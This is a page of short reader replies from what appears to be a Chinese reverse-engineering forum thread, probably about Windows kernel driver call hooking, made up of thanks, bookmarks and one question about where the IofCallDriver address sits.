活跃值: 活跃值 (10)
能力值: ( LV3,RANK:30 )
在线值:
发帖
7
回帖
111
粉丝
0
鱼爱上猫 活跃值 2010-11-18 10:43
30
0
受益匪浅  不过有一点不明白 从哪看出来 IofCallDriver的地址在开头偏移2个字节地方啊???
mdjshifan
雪    币: 3
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
1
回帖
16
粉丝
0
mdjshifan 活跃值 2011-1-9 10:10
31
0
的确写的很不错,网上流传的东西很少
孤行有你
雪    币: 245
活跃值: 活跃值 (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
38
回帖
250
粉丝
0
孤行有你 活跃值 2011-3-24 10:08
32
0
马克马克。。。
dlmu
雪    币: 232
活跃值: 活跃值 (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
2
回帖
212
粉丝
0
dlmu 活跃值 1 2012-3-10 14:36
33
0
学习了~~~~~
havegone
雪    币: 204
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
0
回帖
12
粉丝
0
havegone 活跃值 2012-3-30 16:30
34
0
讲解的很到位。
Maiunjour
雪    币: 69
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
1
回帖
47
粉丝
0
Maiunjour 活跃值 2014-5-9 16:46
35
0
看了一半,挺详细的,mark!
嘿泡泡
雪    币: 0
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
0
回帖
1
粉丝
0
嘿泡泡 活跃值 2014-10-10 20:55
36
0
我是来膜拜的,就是不知道我能不能和你一样
whypro
雪    币: 78
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
5
回帖
255
粉丝
0
whypro 活跃值 2015-7-12 22:56
37
0
还可以回复么?第二种方法和第三种方法都写好了。
bxb
雪    币: 428
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
0
回帖
17
粉丝
0
bxb 活跃值 2018-9-4 16:15
38
0
10年前就有这种文章了,我到现在才刚用到,过来学习了
苏啊树
雪    币: 229
活跃值: 活跃值 (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
1
回帖
15
粉丝
0
苏啊树 活跃值 2020-3-11 16:49
39
0
顶顶顶顶顶!
killpy
雪    币: 40
活跃值: 活跃值 (21)
能力值: ( LV8,RANK:130 )
在线值:
发帖
32
回帖
597
粉丝
6
killpy 活跃值 2 2020-3-11 18:21
40
0
学习
梨子
雪    币: 1026
活跃值: 活跃值 (417)
能力值: ( LV2,RANK:10 )
在线值:
发帖
8
回帖
93
粉丝
3
梨子 活跃值 2020-3-12 16:45
41
0
大佬就是大佬,强
niuzuoquan
雪    币: 265
活跃值: 活跃值 (13)
能力值: ( LV2,RANK:10 )
在线值:
发帖
1
回帖
405
粉丝
0
niuzuoquan 活跃值 2020-3-12 17:22
42
0
mark
游客
登录 | 注册 方可回帖
返回